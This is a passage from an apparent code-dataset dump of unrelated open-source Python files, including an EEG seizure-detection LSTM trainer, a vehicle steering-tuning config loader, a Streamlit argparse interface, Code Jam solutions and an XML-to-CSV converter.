func_sig.return_annotation)\n annotation = Any if type_hint is func_sig.empty else type_hint\n results[\"return\"] = annotation\n return results\n\n\ndef type_repr(type_or_hint) -> str:\n \"\"\"\n Returns representation of a type. This function was taken verbatim from the typing module.\n \"\"\"\n if isinstance(type_or_hint, type):\n if type_or_hint.__module__ == \"builtins\":\n return type_or_hint.__qualname__\n return f\"{type_or_hint.__module__}.{type_or_hint.__qualname__}\"\n if type_or_hint is ...:\n return \"...\"\n if isinstance(type_or_hint, FunctionType):\n return type_or_hint.__name__\n return repr(type_or_hint)\n","repo_name":"PJCampi/runtime-type-checker","sub_path":"runtime_type_checker/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":2271,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"61"} +{"seq_id":"3680325025","text":"from decimal import Decimal\nimport random\n\nprint(0.1 + 0.1 + 0.1 == 0.3) # don't compare float numbers - it will return False\nprint(Decimal('0.1') + Decimal('0.1') + Decimal('0.1') == Decimal('0.3')) # to avoid failure - use decimal\nprint('=' * 50)\n\n\nclass Box:\n\n def __init__(self, x: (int, float), y: (int, float), z: (int, float)):\n self.x = x\n self.y = y\n self.z = z\n\n def volume(self):\n return self.x * self.y * self.z\n\n def __gt__(self, other):\n return self.volume() > other.volume()\n\n def __lt__(self, other): # code convention requires to overwrite inversion method\n return self.volume() < other.volume()\n\n def __add__(self, other):\n if isinstance(other, Box):\n return self.volume() + other.volume()\n if isinstance(other, (int, float)):\n return self.volume() + other\n return NotImplemented\n\n def __radd__(self, other):\n if isinstance(other, (int, float)):\n return self.volume() + other\n return NotImplemented\n\n def __str__(self):\n return f'{self.x} x {self.y} x {self.z}'\n\n\ndef box_suma(list_of_boxes):\n s = 0\n for item in list_of_boxes:\n s = s + item\n return s\n\n\na = Box(2, 5, 10)\nb = Box(1, 5, 2)\nprint(a)\nprint(b)\nprint(a < b)\n\nprint(a.__gt__(b))\nprint('\\n'.join(dir(object))) # show all method attributed to object\nprint('=' * 50)\nboxes = [Box(random.randint(1, 10), random.randint(1, 10), random.randint(1, 10)) for i in range(1, 10)]\nboxes.sort()\nprint('\\n'.join(map(str, boxes))+'\\n')\n\nprint(f'sum of boxes volume: {box_suma(boxes)}')\nprint(f'the larges box: {max(boxes)}')\nprint(f'the smallest box: {min(boxes)}')\n\n","repo_name":"HelgaTe/prog_academy_course_2022","sub_path":"lecture_notes/oop_overwriting.py","file_name":"oop_overwriting.py","file_ext":"py","file_size_in_byte":1689,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"15346637262","text":"\"\"\" Train LSTM network\nLSTM network fuses output of U-nets\n\nThis file relies on pre-computed predictions and uses them to train the LSTM.\nThe model is saved in model-dnn-dnnw-dnnicalbl-lstm-4.h5\n\"\"\"\n\nimport sys\n# Root folder of main library\nsys.path.insert(0, 'library')\n# Root folder of EDF files\nEDF_ROOT = '/esat/biomeddata/Neureka_challenge/edf/dev/'\n# Root folder of predictions on edf files\nPREDICTION_ROOT = 'evaluation'\n\n# custom library\nimport nedc\nimport spir\n\n# std lib\nimport glob\nimport os\n\n# 3rd party lib\nimport h5py\nfrom keras.models import Sequential\nfrom keras.layers import Bidirectional, Dense, GRU, LSTM\nimport numpy as np\nimport resampy\n\n\n# +\ndef load_filenames():\n '''\n \n\n Returns\n -------\n filenames : list\n List of names of EEG recordings whose predictions are present in all views. ICLabel view excludes\n some files due to bad channels, hence has the lowest number\n of common files\n\n '''\n filenames = list()\n with h5py.File(os.path.join(PREDICTION_ROOT, 'prediction_test_iclabel.h5'), 'r') as f:\n filenames = list(f['filenames'])\n return filenames\n\n\ndef prepare_file(file_i, filename, classifiers, f_unet, model_type, fs): \n '''\n \n\n Parameters\n ----------\n file_i : TYPE\n Index of predictions belonging to a file.\n filename : TYPE\n Unique name of the EEG recording.\n classifiers : TYPE\n The set of multi-view U-Net classifiers.\n f_unet : TYPE\n File pointer to h5 dataset containing the U-Net predictions.\n model_type : TYPE\n The ype of RNN to be trained. 'lstm' or 'gru' currently supported\n fs : TYPE\n Frequency of predictions of the output model.\n\n Returns\n -------\n x : numpy array\n Array of U-Net predictions; training data for RNN\n y : numpy array\n Array of labels; training labels for the RNN.\n\n '''\n # Load data\n x = list()\n for classifier in classifiers:\n if classifier['format'] == 'unet':\n z = list(f_unet[classifier['name']]['filenames'])\n file_i = z.index(filename)\n predictions = f_unet[classifier['name']]['signals'][file_i]\n predictions = downsample(predictions, 200, fs)\n x.append(np.array(predictions, dtype=float))\n \n x = np.array(x)\n x = np.transpose(x)\n if model_type == 'lstm' or model_type == 'gru':\n x = x.reshape((len(x), 1, len(x[0])))\n # Collect the true lables\n seizures = nedc.loadTSE(os.path.join(EDF_ROOT,filename[:-4]+'.tse'))\n \n # Create labels at fs sampling rate\n y = spir.eventList2Mask(seizures, len(x), fs)\n \n return x,y\n\n\nclass AvgModel:\n def fit(*argv, **kwargs):\n return 0\n \n def reset_states(*argv, **kwargs):\n return 0\n \n def predict(x, *argv, **kwargs):\n if np.ndim(x) > 1:\n return np.mean(x, axis=1)\n else:\n return x\n\n\ndef downsample(x, oldFs, newFs):\n '''\n \n\n Parameters\n ----------\n x : numpy array\n Data to be downsampled.\n oldFs : int\n Sampling rate (Hz) of data.\n newFs : TYPE\n Target sampling rate (Hz).\n\n Returns\n -------\n numpy array\n Downsampled data to newFs.\n\n '''\n return resampy.resample(x, oldFs, newFs)\n\n\ndef findTse(filename):\n '''\n \n\n Parameters\n ----------\n filename : string\n Unique name of the EEG recording.\n\n Returns\n -------\n string\n Unique name/path of the seizure annotation of the EEG recording.\n\n '''\n result = glob.glob(os.path.join(EDF_ROOT, '*', filename[3:6], filename.split('_')[0], filename.split('_')[1] + '_' + '[0-9_]*', filename + '.tse'))\n return result[0]\n\n\ndef build_model(n_input, model_type, complexity=None):\n '''\n \n\n Parameters\n ----------\n n_input : TYPE\n DESCRIPTION.\n model_type : str\n Type of final output layer. Currently supported:\n 'lstm' - An LSTM RNN\n 'gru' - GRU based RNN\n 'dense' - A dense neural-network layer\n 'avg' - A simple average of multi-view U-Net predictions\n complexity : int, optional\n Complexity of RNNs. Required for model_type 'lstm' and 'gru' \n The default is None.\n\n Returns\n -------\n model : TYPE\n DESCRIPTION.\n\n '''\n if model_type == 'lstm':\n model = Sequential()\n model.add(Bidirectional(LSTM(complexity, stateful=True, return_sequences=False),\n input_shape=(1, n_input), batch_size=1))\n model.add(Dense(1, activation='sigmoid'))\n model.compile(loss='mse', optimizer='adam')\n elif model_type == 'gru':\n model = Sequential()\n model.add(Bidirectional(GRU(complexity, stateful=True, return_sequences=False),\n input_shape=(1, n_input), batch_size=1))\n model.add(Dense(1, activation='sigmoid'))\n model.compile(loss='mse', optimizer='adam')\n elif model_type == 'dense':\n model = Sequential()\n model.add(Dense(1, activation='sigmoid', input_shape=(n_input, ), batch_size=1))\n model.compile(loss='mse', optimizer='adam')\n elif model_type == 'avg':\n model = AvgModel\n return model\n\n\ndef train(model, model_type, classifiers, filenames, fs=1):\n '''\n \n\n Parameters\n ----------\n model : TYPE\n DESCRIPTION.\n model_type : str\n Type of final output layer. Currently supported:\n 'lstm' - An LSTM RNN\n 'gru' - GRU based RNN\n 'dense' - A dense neural-network layer\n 'avg' - A simple average of multi-view U-Net predictions\n classifiers : list (of dicts)\n Defined in main.\n filenames : list\n List of names of EEG recordings whose predictions are present in all views..\n fs : int, optional\n Frequency of predictions. The default is 1 Hz.\n\n Returns\n -------\n int\n DESCRIPTION.\n\n '''\n if model_type == 'avg':\n return 0\n \n # Preload U-Net data\n f_unet = dict()\n for classifier in classifiers:\n if classifier['format'] == 'unet':\n f_unet[classifier['name']] = h5py.File(classifier['file'], 'r')\n \n # Train\n for i, filename in enumerate(filenames):\n x, y = prepare_file(i, filename, classifiers, f_unet, model_type, fs)\n if np.any(y):\n model.fit(x, y, batch_size=1, epochs=15, verbose=1)\n else:\n model.fit(x, y, batch_size=1, epochs=1, verbose=1)\n model.reset_states()\n \n # Close U-Net data\n for key in f_unet:\n f_unet[key].close()\n\n\n# +\nfs = 1 # LSTM prediction sampling frequency\n\nclassifiers = [{\n 'name': 'ICA',\n 'file': os.join(PREDICTION_ROOT, 'prediction_test_iclabel.h5'),\n 'fs': 200,\n 'format': 'unet', \n},\n {\n 'name': 'DNN',\n 'file': os.join(PREDICTION_ROOT, 'prediction_test_raw.h5'),\n 'fs': 200,\n 'format': 'unet', \n},\n{\n 'name': 'DNN-wiener',\n 'file': os.join(PREDICTION_ROOT, 'prediction_test_wiener.h5'),\n 'fs': 200,\n 'format': 'unet',\n}\n]\n\nmodeltype = 'lstm'\ncomplexity = 4\n\nfilenames = load_filenames()\nmodel = build_model(len(classifiers), modeltype, complexity)\ntrain(model, modeltype, classifiers, filenames, fs)\nmodel.save('model-dnn-dnnw-dnnicalbl-lstm-4.h5')\n","repo_name":"mabhijithn/irregulars-neureka-codebase","sub_path":"training/4-train-lstm.py","file_name":"4-train-lstm.py","file_ext":"py","file_size_in_byte":7311,"program_lang":"python","lang":"en","doc_type":"code","stars":11,"dataset":"github-code","pt":"61"} +{"seq_id":"30941452215","text":"import os\nimport fcntl\nimport signal\nimport errno\nimport time\nimport json\nimport numpy as np\n\nCONF_PATH = '/data/ntune/'\nCONF_FILE = '/data/ntune/lat_lqr.json'\n\nclass nTune():\n def __init__(self, CP, lqr):\n\n self.invalidated = False\n\n self.CP = CP\n self.lqr = lqr\n\n self.lqr.A = np.array([0., 1., -0.22619643, 1.21822268]).reshape((2, 2))\n self.lqr.B = np.array([-1.92006585e-04, 3.95603032e-05]).reshape((2, 1))\n self.lqr.C = np.array([1., 0.]).reshape((1, 2))\n\n if not os.path.exists(CONF_PATH):\n os.makedirs(CONF_PATH)\n\n self.read()\n\n try:\n signal.signal(signal.SIGIO, self.handler)\n fd = os.open(CONF_PATH, os.O_RDONLY)\n fcntl.fcntl(fd, fcntl.F_SETSIG, 0)\n fcntl.fcntl(fd, fcntl.F_NOTIFY, fcntl.DN_MODIFY | fcntl.DN_CREATE | fcntl.DN_MULTISHOT)\n except:\n pass\n\n def handler(self, signum, frame):\n\n try:\n if os.path.isfile(CONF_FILE):\n with open(CONF_FILE, 'r') as f:\n self.config = json.load(f)\n if self.checkValid():\n self.write_config(self.config)\n\n except:\n pass\n\n self.invalidated = True\n\n def check(self): # called by LatControlLQR.update\n if self.invalidated:\n self.invalidated = False\n self.update()\n\n\n def read(self):\n\n try:\n if os.path.isfile(CONF_FILE):\n with open(CONF_FILE, 'r') as f:\n self.config = json.load(f)\n if self.checkValid():\n self.write_config(self.config)\n\n self.update()\n else:\n self.write_default()\n\n with open(CONF_FILE, 'r') as f:\n self.config = json.load(f)\n if self.checkValid():\n self.write_config(self.config)\n self.update()\n\n except:\n return False\n\n return True\n\n def checkValue(self, key, min_, max_, default_):\n updated = False\n\n if key not in self.config:\n self.config.update({key:default_})\n updated = True\n elif min_ > self.config[key]:\n self.config.update({key:min_})\n updated = True\n elif max_ < self.config[key]:\n self.config.update({key:max_})\n updated = True\n\n return updated\n\n def checkValid(self):\n updated = False\n\n if self.checkValue(\"scale\", 500.0, 5000.0, 2000.0):\n updated = True\n\n if self.checkValue(\"ki\", 0.0, 0.2, 0.01):\n updated = True\n\n if self.checkValue(\"k_1\", -150.0, -50.0, -100.0):\n updated = True\n\n if self.checkValue(\"k_2\", 400.0, 500.0, 450.0):\n updated = True\n\n if self.checkValue(\"l_1\", 0.1, 0.5, 0.22):\n updated = True\n\n if self.checkValue(\"l_2\", 0.1, 0.5, 0.32):\n updated = True\n\n if self.checkValue(\"dcGain\", 0.0020, 0.0040, 0.003):\n updated = True\n\n if self.checkValue(\"steerActuatorDelay\", 0.1, 0.8, 0.3):\n updated = True\n\n if self.checkValue(\"steerLimitTimer\", 0.6, 1.5, 0.8):\n updated = True\n\n if self.checkValue(\"steerMax\", 1.0, 2.0, 1.3):\n updated = True\n\n return updated\n\n def update(self):\n\n self.lqr.scale = float(self.config[\"scale\"])\n self.lqr.ki = float(self.config[\"ki\"])\n\n self.lqr.K = np.array([float(self.config[\"k_1\"]), float(self.config[\"k_2\"])]).reshape((1, 2))\n self.lqr.L = np.array([float(self.config[\"l_1\"]), float(self.config[\"l_2\"])]).reshape((2, 1))\n\n self.lqr.dc_gain = float(self.config[\"dcGain\"])\n\n self.CP.steerActuatorDelay = float(self.config[\"steerActuatorDelay\"])\n self.lqr.sat_limit = float(self.config[\"steerLimitTimer\"])\n\n self.CP.steerMaxBP = [0.0]\n self.CP.steerMaxV = [float(self.config[\"steerMax\"])]\n\n self.lqr.x_hat = np.array([[0], [0]])\n self.lqr.reset()\n\n def read_cp(self):\n\n self.config = {}\n\n try:\n if self.CP is not None and self.CP.lateralTuning.which() == 'lqr':\n\n self.config[\"scale\"] = round(self.CP.lateralTuning.lqr.scale, 2)\n self.config[\"ki\"] = round(self.CP.lateralTuning.lqr.ki, 3)\n self.config[\"k_1\"] = round(self.CP.lateralTuning.lqr.k[0], 1)\n self.config[\"k_2\"] = round(self.CP.lateralTuning.lqr.k[1], 1)\n self.config[\"l_1\"] = round(self.CP.lateralTuning.lqr.l[0], 3)\n self.config[\"l_2\"] = round(self.CP.lateralTuning.lqr.l[1], 3)\n self.config[\"dcGain\"] = round(self.CP.lateralTuning.lqr.dcGain, 5)\n\n self.config[\"steerActuatorDelay\"] = round(self.CP.steerActuatorDelay, 2)\n self.config[\"steerLimitTimer\"] = round(self.CP.steerLimitTimer, 2)\n self.config[\"steerMax\"] = round(self.CP.steerMaxV[0], 2)\n\n except:\n pass\n\n\n def write_default(self):\n\n try:\n self.read_cp()\n self.checkValid()\n self.write_config(self.config)\n except:\n pass\n\n def write_config(self, conf):\n try:\n with open(CONF_FILE, 'w') as f:\n json.dump(conf, f, indent=2, sort_keys=False)\n os.chmod(CONF_FILE, 0o764)\n except IOError:\n\n try:\n if not os.path.exists(CONF_PATH):\n os.makedirs(CONF_PATH)\n\n with open(CONF_FILE, 'w') as f:\n json.dump(conf, f, indent=2, sort_keys=False)\n os.chmod(CONF_FILE, 0o764)\n except:\n pass\n \n ","repo_name":"agegold/forGM_date_1007","sub_path":"selfdrive/ntune.py","file_name":"ntune.py","file_ext":"py","file_size_in_byte":5807,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"23415765701","text":"\ndef solvegame(lines):\n ind1 = int(lines[0])\n ind2 = int(lines[5])\n row1 = lines[ind1].split()\n row2 = lines[ind2+5].split()\n if len(set(row1 + row2)) == 8:\n return 'Volunteer cheated!'\n elif len(set(row1 + row2)) < 7:\n return 'Bad magician!'\n else:\n return set(row1).intersection(set(row2)).pop()\n\n\nf = file('a.in', 'r')\nlines = f.readlines()\ncases = int(lines[0])\n\ng = file('a.out', 'w')\ng.writelines(['Case #{}: {}\\n'.format(i+1, solvegame(lines[10*i+1:10*i + 11])) for i in xrange(cases)])\n","repo_name":"dr-dos-ok/Code_Jam_Webscraper","sub_path":"solutions_python/Problem_135/3106.py","file_name":"3106.py","file_ext":"py","file_size_in_byte":536,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"42351119489","text":"max = 9\n\n\ndef fibo1(max: int) -> None:\n n1 = 0\n n2 = 1\n print(n1)\n print(n2)\n\n for i in range(2, max):\n next = n1 + n2\n n1 = n2\n n2 = next\n print(next)\n\n\nfibo1(max=max)\n","repo_name":"richarddevers/leetcode","sub_path":"others/fibo.py","file_name":"fibo.py","file_ext":"py","file_size_in_byte":212,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"23594010481","text":"# Code Jam Qualifier\r\n# 2/9/2009\r\n# B\r\n\r\ninname = 'E:\\B.in'\r\n\r\nfin = open(inname, 'r')\r\nfout = open('E:\\B.out.txt', 'w')\r\n\r\nmaps = int(fin.readline().strip())\r\n\r\nINFINITY = 10001\r\n\r\ndef get_alt(cords, mapp, h, w):\r\n if cords[0] < h and cords[0] >= 0 and cords[1] < w and cords[1] >= 0:\r\n return mapp[cords[0]][cords[1]]\r\n return INFINITY\r\n\r\ndef set_sinks(sink, current, flows_to_x, flow_map):\r\n flow_map[current] = sink \r\n if current in flows_to_x:\r\n for y in flows_to_x[current]:\r\n set_sinks(sink, y, flows_to_x, flow_map)\r\n \r\ncase_num = 1\r\nfor m in range(0, maps):\r\n print(case_num)\r\n [h, w] = [int(x) for x in fin.readline().strip().split(' ')]\r\n mapp = []\r\n flow_map = {} # store which sink x flows to\r\n flows_to_x = {} # store which cells flow to x\r\n sinks = set()\r\n for i in range(0, h):\r\n mapp.append([int(x) for x in fin.readline().strip().split(' ')])\r\n\r\n for r in range(0, h):\r\n for c in range(0, w):\r\n alt = mapp[r][c]\r\n \r\n north = (r - 1, c)\r\n west = (r, c - 1)\r\n east = (r, c + 1)\r\n south = (r + 1, c)\r\n\r\n minalt = min([get_alt(n, mapp, h, w) for n in [north, west, east, south]])\r\n minn = None\r\n for n in [north, west, east, south]:\r\n if get_alt(n, mapp, h, w) == minalt:\r\n minn = n\r\n break\r\n\r\n if minalt < alt:\r\n flow_map[(r, c)] = minn\r\n if not minn in flows_to_x:\r\n flows_to_x[minn] = []\r\n flows_to_x[minn].append((r, c))\r\n else:\r\n sinks.add((r, c))\r\n\r\n # determine the sink for all the cells\r\n for r in range(0, h):\r\n for c in range(0, w):\r\n if (r, c) in sinks:\r\n set_sinks((r, c), (r, c), flows_to_x, flow_map) \r\n\r\n # label the sinks\r\n label_map = {}\r\n labelled_sinks = set()\r\n pointer = 0\r\n\r\n for k in 'abcdefghijklmnopqrstuvwxyz':\r\n done = False\r\n while pointer < h * w and not done:\r\n (r, c) = (pointer / w, pointer % w)\r\n sink = flow_map[(r, c)]\r\n if not sink in labelled_sinks:\r\n labelled_sinks.add(sink)\r\n label_map[sink] = k\r\n done = True\r\n pointer += 1\r\n\r\n # output\r\n fout.write('Case #' + str(case_num) + ':\\n')\r\n for r in range(0, h):\r\n fout.write(' '.join([label_map[flow_map[(r, c)]] for c in range(0, w)]) + '\\n')\r\n case_num += 1\r\n \r\n\r\nfin.close()\r\nfout.close()\r\n","repo_name":"dr-dos-ok/Code_Jam_Webscraper","sub_path":"solutions_python/Problem_35/49.py","file_name":"49.py","file_ext":"py","file_size_in_byte":2626,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"11902648966","text":"#!/usr/bin/env python3\n'''\nAuthor: penfree\nDate: 2022-01-21 17:16:37\n\n'''\nfrom argparse import _StoreTrueAction, Action, ArgumentParser, Namespace, SUPPRESS\nimport argparse\nfrom typing import Any, Callable, List, Tuple\nimport streamlit as st\nfrom contextlib import redirect_stdout, redirect_stderr\nimport io\nimport pandas as pd\nfrom tempfile import NamedTemporaryFile\nimport webargparse.types as types\nfrom datetime import datetime, date\nfrom st_aggrid import AgGrid, GridUpdateMode\nfrom st_aggrid.grid_options_builder import GridOptionsBuilder\n\nfrom streamlit.state.widgets import NoValue\n\n@st.cache\ndef dftocsv(df):\n if isinstance(df, list):\n df = pd.DataFrame(df)\n # IMPORTANT: Cache the conversion to prevent computation on every rerun\n return df.to_csv().encode('utf-8')\n\nclass StreamlitPage:\n\n def __init__(self, title: str):\n # 页面标题\n self.title = title\n\n def render(self):\n \"\"\"渲染页面\n \"\"\"\n raise NotImplementedError()\n\n def __str__(self):\n return self.title\n\n def __eq__(self, __o: object) -> bool:\n return str(__o) == str(self)\n\n\nclass ActionWebComponent:\n\n def __init__(self, action: Action):\n self.action = action\n\n @property\n def Label(self):\n text = ' '.join(self.action.option_strings)\n if not text:\n text = self.action.dest\n if self.action.help:\n text = f'{self.action.help}({text})'\n if self.action.required or self.action.nargs in ('+', ):\n text += '[必须]'\n return text\n\n @property\n def Default(self):\n # 允许多值的字符串类型\n if isinstance(self.action.default, list) and not self.action.choices:\n return '\\n'.join(self.action.default)\n return self.action.default or ''\n\n @property\n def PlaceHolder(self):\n if self.action.nargs in ('+', '*'):\n return '支持多值, 每个参数一行'\n else:\n return ''\n\n\n def render(self):\n # 带选项\n if self.action.choices:\n # 多选\n if self.action.nargs in ('*', '+'):\n return st.multiselect(label=self.Label, options=list(self.action.choices), default=self.Default)\n # 单选\n else:\n return st.selectbox(label=self.Label,\n options=list(self.action.choices),\n index= 0 if self.Default not in self.action.choices else list(self.action.choices).index(self.Default))\n # store_true\n elif isinstance(self.action, _StoreTrueAction):\n return st.checkbox(label=self.Label)\n elif isinstance(self.action, argparse._StoreConstAction):\n return st.text_input(label=self.Label, value=self.action.const, disabled=True)\n elif isinstance(self.action.type, argparse.FileType) or self.action.type == open:\n return st.file_uploader(self.Label)\n elif self.action.type == types.date or self.action.type == types.datetime or self.action.type == date.fromisoformat:\n return st.date_input(self.Label)\n elif self.action.type == types.time:\n return st.time_input(self.Label)\n else:\n # 数字\n if self.action.type is int or self.action.type is float:\n default = self.Default or None\n if default is None:\n default = 0 if self.action.type is int else 0.0\n return st.number_input(label=self.Label, value=default if default is not None else NoValue())\n else:\n if self.action.nargs in ('*', '+'):\n return st.text_area(label=self.Label, value=self.Default, placeholder=self.PlaceHolder)\n else:\n return st.text_input(label=self.Label, value=self.Default, placeholder=self.PlaceHolder)\n\n @property\n def Required(self):\n return self.action.required or self.action.nargs == '+'\n\n def parseResult(self, result):\n \"\"\"解析组件的返回值, 并转换成action中预期的类型\n \"\"\"\n if not result and self.Required:\n raise ValueError('缺少必填项: %s' % self.Label)\n if self.action.type == open or isinstance(self.action.type, argparse.FileType):\n # 文件类型\n if result is not None:\n if isinstance(self.action.type, argparse.FileType) and 'b' in self.action.type._mode:\n tf = NamedTemporaryFile(mode='wb+')\n tf.write(result.getvalue())\n else:\n tf = NamedTemporaryFile(mode='w+')\n tf.write(result.getvalue().decode('utf-8'))\n tf.seek(0)\n return tf\n elif self.action.type == types.datetime:\n return datetime(result.year, result.month, result.day, 0, 0, 0)\n elif self.action.type == types.date or self.action.type == types.time or self.action.type == date.fromisoformat:\n return result\n elif not isinstance(result, str):\n return result\n else:\n type_func = self.action.type or str\n value = type_func(result)\n if isinstance(value, str):\n value = value.strip()\n if self.action.nargs in ('*', '+'):\n if not value:\n return []\n else:\n return value.split('\\n') # 4个空格\n return value\n\nclass ArgparsePage(StreamlitPage):\n\n def __init__(self, parser: ArgumentParser, func: Callable, title=None, detail_func=None):\n \"\"\"\n\n Args:\n parser (ArgumentParser): 工具对应的参数选项\n func (Callable): 处理命令行参数的函数\n title (str, optional): 工具标题, 默认取parser.prog. Defaults to None.\n \"\"\"\n super().__init__(title or parser.prog or parser.description or '-')\n self.parser = parser\n self.func = func\n self.detail_func = detail_func\n\n def getComponents(self):\n return [\n ActionWebComponent(action) for action in self.parser._actions if action.default != SUPPRESS\n ]\n\n def getArgs(self, form_result: List[Tuple[ActionWebComponent, Any]]) -> Namespace:\n \"\"\"将form返回的结果转换成argparse的解析结果\n\n Args:\n form_result (List[ActionWebComponent, Any]): form中返回的对应于每个action的取值\n\n Returns:\n Namespace: 一个namespace, 与argparse在命令行返回的一样\n \"\"\"\n args = Namespace()\n for component, value in form_result:\n setattr(args, component.action.dest, component.parseResult(value))\n return args\n\n def renderResult(self, ret_value):\n \"\"\"渲染处理函数的返回结果\n \"\"\"\n if not ret_value:\n return\n # list和DataFrame展示结果, 最多显示100行,防止出错\n if isinstance(ret_value, (pd.DataFrame, list)):\n if isinstance(ret_value, list):\n ret_value = pd.DataFrame(ret_value)\n csv = dftocsv(ret_value)\n st.caption('共 %s 条记录' % len(ret_value.index))\n gb = GridOptionsBuilder.from_dataframe(ret_value)\n gb.configure_pagination()\n gb.configure_selection('single')\n gridOptions = gb.build()\n update_mode = GridUpdateMode.VALUE_CHANGED\n if self.detail_func:\n update_mode = GridUpdateMode.MODEL_CHANGED\n result = AgGrid(ret_value, gridOptions=gridOptions,update_mode=GridUpdateMode.MODEL_CHANGED)\n st.download_button(label='下载csv', data=csv, help='点击将数据以csv文件下载')\n if result['selected_rows']:\n st.caption('详细信息:')\n st.write(self.detail_func(result['selected_rows']))\n # dict展示json\n elif isinstance(ret_value, dict):\n st.caption('执行结果:')\n st.json(ret_value)\n # bytes下载二进制文件\n elif isinstance(ret_value, bytes):\n st.caption('文件已生成, 请点击下载:')\n st.download_button(label='下载文件', data=ret_value)\n # 如果是文件对象, 下载文件\n elif hasattr(ret_value, 'read'):\n st.caption('文件已生成, 请点击下载:')\n data = ret_value.read()\n ret_value.close()\n st.download_button(label='下载文件', data=data)\n # str 如果很短就直接展示, 太长则下载文件\n elif isinstance(ret_value, str):\n # 用包围的字符串渲染成markdown\n if ret_value.startswith('') and ret_value.endswith(''):\n st.markdown(ret_value[10:-11])\n elif len(ret_value) < 1024:\n st.caption('执行结果:')\n st.write(ret_value)\n else:\n st.download_button(label='下载文件', data=ret_value, help='生成数据过大, 点击下载文件')\n elif isinstance(ret_value, types.ResultData):\n ret_value.render()\n elif isinstance(ret_value, tuple):\n t = types.ResultData(ret_value[0], type=ret_value[1])\n t.render()\n\n def render(self):\n \"\"\"渲染页面\n \"\"\"\n if self.parser.description:\n st.markdown(self.parser.description)\n components = self.getComponents()\n submited = None\n result = []\n if components:\n with st.sidebar.form(key='tool_form'):\n result: List[Tuple[ActionWebComponent, Any]] = []\n for component in components:\n result.append((component, component.render()))\n submited = st.form_submit_button(label='提交')\n if submited:\n st.session_state['submited'] = True\n\n if submited or not components or ('submited' in st.session_state and st.session_state['submited']):\n try:\n args = self.getArgs(result)\n except ValueError as e:\n st.error(str(e))\n else:\n f = io.StringIO()\n ret_value = None\n with redirect_stdout(f):\n with redirect_stderr(f):\n try:\n with st.spinner('Loading...'):\n ret_value = self.func(args)\n except Exception as e:\n print(e)\n if ret_value:\n self.renderResult(ret_value)\n fvalue = f.getvalue()\n if fvalue:\n st.markdown(f'''\n ### 输出:\n {f.getvalue()}\n ''')\n\n","repo_name":"penfree/webargparse","sub_path":"webargparse/pages/argparsepage.py","file_name":"argparsepage.py","file_ext":"py","file_size_in_byte":10876,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"18890916701","text":"import collections\nimport io\nfrom io import StringIO\nfrom typing import Optional, List, Union, Tuple, Mapping\nfrom xml.sax import make_parser\nfrom xml.sax.handler import ContentHandler\nfrom xml.sax.xmlreader import AttributesImpl\n\nfrom _util import TEXT, NUM, ATTR, DEFAULT, make_header\n\n\nclass SaxColumnsFinder(ContentHandler):\n \"\"\"\n A content handler that stores all columns. The columns are stored\n in a DFS order (paths) and, for each path, num, attributes, text.\n \"\"\"\n\n def __init__(self, number_cols: bool = False):\n super().__init__()\n self._number_cols = number_cols\n self._cur_path = []\n self._paths = []\n self._chars = []\n self._terminals_by_path = {}\n\n def startElement(self, name: str, attrs: AttributesImpl):\n self._cur_path.append(name)\n for attr in attrs.keys():\n self._add_column(ATTR + attr)\n if self._number_cols:\n self._add_column(NUM)\n\n def endElement(self, name: str):\n if self._chars:\n self._add_column(TEXT)\n self._chars = False\n\n self._cur_path.pop()\n\n def _add_column(self, terminal):\n path = tuple(self._cur_path)\n if path not in self._terminals_by_path:\n self._paths.append(path)\n self._terminals_by_path[path] = set()\n\n if terminal not in self._terminals_by_path[path]:\n self._terminals_by_path[path].add(terminal)\n\n def characters(self, _content: str):\n if not self._chars and _content.strip():\n self._chars = True\n\n def columns(self) -> List[Tuple[str]]:\n return [path + (terminal,) for path in self._paths for terminal in\n sorted(self._terminals_by_path[path])]\n\n\ndef find_columns(filepath: Union[str, io.StringIO],\n number_cols: bool = False) -> List[Tuple[str]]:\n parser = make_parser()\n handler = SaxColumnsFinder(number_cols)\n parser.setContentHandler(handler)\n parser.parse(filepath)\n return handler.columns()\n\n\nclass NoProductHandler(ContentHandler):\n def __init__(self, writer, columns):\n super().__init__()\n self._writer = writer\n self._columns = columns\n self._chars = []\n self._context: Optional[Context] = None\n\n def startElement(self, name: str, attrs: AttributesImpl):\n if self._context is None:\n self._context = Context(tuple(), name, dict(attrs), 0)\n else:\n self._context = self._context.new_child(name, dict(attrs))\n\n def endElement(self, name: str):\n assert self._context is not None\n text = \"\".join(self._chars).strip()\n self._context.add_text(text)\n if self._context.is_terminal():\n self._context.parent.store_terminal_child(self._context)\n else: # non terminal context\n all_terminals = False\n for name, contexts in self._context.terminal_children.items():\n if len(contexts) == 1: # terminal to merge\n all_terminals = True\n self._context.add_associated_tag(contexts[0])\n\n for name, contexts in self._context.terminal_children.items():\n if len(contexts) != 1: # terminals to write\n all_terminals = False\n for i, context in enumerate(contexts):\n context._num = i\n row = context.row()\n self._writer.writerow(\n [row.get(c, DEFAULT) for c in self._columns])\n\n if all_terminals:\n row = self._context.row()\n self._writer.writerow(\n [row.get(c, DEFAULT) for c in self._columns])\n\n self._context = self._context.parent\n self._chars = []\n\n def characters(self, content: str):\n self._chars.append(content)\n\n\nclass Context:\n def __init__(self, path: Tuple[str, ...], name: str,\n attrs: Mapping[str, str], num: int):\n self._path = path\n self._name = name\n self._attrs = attrs\n self._terminal_children_by_name = {}\n self.parent: Optional[\"Context\"] = None\n self._terminal = True\n self._text = None\n self._associated_tags: List[Context] = []\n self._num = num\n self._count_by_name = collections.Counter()\n\n def new_child(self, name: str, attrs: Mapping[str, str]) -> \"Context\":\n self._terminal = False\n child_path = self._path + (self._name,)\n context = Context(child_path, name, attrs, self._count_by_name[name])\n self._count_by_name[name] += 1\n context.parent = self\n return context\n\n def store_terminal_child(self, context: \"Context\"):\n self._terminal_children_by_name.setdefault(context._name, []).append(\n context)\n\n def is_terminal(self):\n return 